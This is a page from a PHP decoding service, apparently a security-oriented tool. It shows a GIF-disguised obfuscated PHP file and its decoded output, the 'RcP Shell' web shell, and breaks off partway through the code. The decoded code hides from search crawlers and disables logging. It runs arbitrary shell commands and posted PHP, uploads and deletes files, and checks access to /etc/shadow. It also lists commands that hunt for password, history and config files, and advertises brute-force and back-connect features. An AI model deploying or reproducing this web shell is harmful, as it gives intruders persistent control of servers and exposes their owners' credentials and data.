Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
GIF89a1 <?php $_F=__FILE__;$_X='Pz48P3BocCAjIEJ5IFJjUCBTaDVsbA0KDQokYzJsMnIgPSAiI2VlRkZGR..
Decoded Output download
?><?php # By RcP Shell
$color = "#66FFFF";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'UTF-8';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@session_start();
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('SHELL_VERSIYON', 'V0.1');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
}
function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
$_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
else
wsoLogin();
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
$cwd .= '/';
if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$GLOBALS['default_use_ajax'];
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"Dizinleri Listele" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"Acik Portlari Listele" => "netstat -an | grep -i listen",
"Calisan Programlar" => "ps aux",
"BUL!" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"ARA" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - www.google.com.tr SHELL " . SHELL_VERSIYON ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Guvenlik Bilgisi'=>'SecInfo','Dosyalar'=>'FilesMan','Konsol'=>'Console','SQL'=>'Sql','PHP'=>'Php','Safe mode'=>'SafeMode','Donustur'=>'StringTools','BRUTEFORCE'=>'Bruteforce','BackConnect'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Г?ik';
$m['Sil'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo' <h1><center><font color=red><strong>� By RcP `</font></strong></center></h1>';
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>Kullanici:<br>Php:<br>Hardisk:<br>Bulungumuz Yer:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Grubu:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ACIK</font>':'<font color=white><b>KAPALI</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Tarih:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Bos alan:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ Giris ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>SENIN IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Yazilabilir)</font>":" <font color=red>(Yazilabilir deДџil)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Dizin degistir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Dosya oku</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Dizin olustur:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Dosya olustur:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Komut Calistir:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>DOSYA UPLOAD ET</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
if(!function_exists("scandir")) {
function scandir($dir) {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>server Guvenlik bilgisi - <a href=http://www.google.com.tr>Google TR :D </a></h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP bilgisi- <a href=http://www.google.com.tr>Google TR :D</a></h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
$tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
$_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
echo '<h1> PHP-code Uygula - <a href=http://www.google.com.tr>Google TR :D</a></h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
wsoHeader();
echo '<h1>Dosya Alani - <a href=http://www.google.com.tr>� By RcP `</a></h1><div class=content><script>p1_=p2_=p3_="";</script>';
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Dosya Upload edilmedi!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Yeni dizin olusturulamadi";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_SESSION['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
} elseif($_SESSION['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_SESSION['f'] as $f)
@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_SESSION['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_SESSION['c']);
foreach($_SESSION['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_SESSION['c'].$f))
$zip->addFile($_SESSION['c'].$f, $f);
elseif(@is_dir($_SESSION['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_SESSION['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_SESSION['f'] as $f) {
if($zip->open($_SESSION['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_SESSION['act'] == 'tar') {
chdir($_SESSION['c']);
$_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
chdir($GLOBALS['cwd']);
}
unset($_SESSION['f']);
break;
default:
if(!empty($_POST['p1'])) {
$_SESSION['act'] = @$_POST['p1'];
$_SESSION['f'] = @$_POST['f'];
foreach($_SESSION['f'] as $k => $f)
$_SESSION['f'][$k] = urldecode($f);
$_SESSION['c'] = @$_POST['c'];
}
break;
}
}
$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Adi</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Kurucu/Grubu</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>IzД?nler</a></th><th>Yapilabilecekler</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" title=' . $f['link'] . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Kopyala</option><option value='move'>Yer Degistir</option><option value='delete'>SiL</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(!empty($_SESSION['act']) && @count($_SESSION['f']))
echo "<option value='paste'>Paste / Compress</option>";
echo "</select> ";
if(!empty($_SESSION['act']) && @count($_SESSION['f']) && (($_SESSION['act'] == 'zip') || ($_SESSION['act'] == 'tar')))
echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_SESSION['act'] == 'zip'?'zip':'tar.gz') . "'> ";
echo "<input type='submit' value='>>'></td></tr></form></table></div>";
wsoFooter();
}
function actionStringTools() {
if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
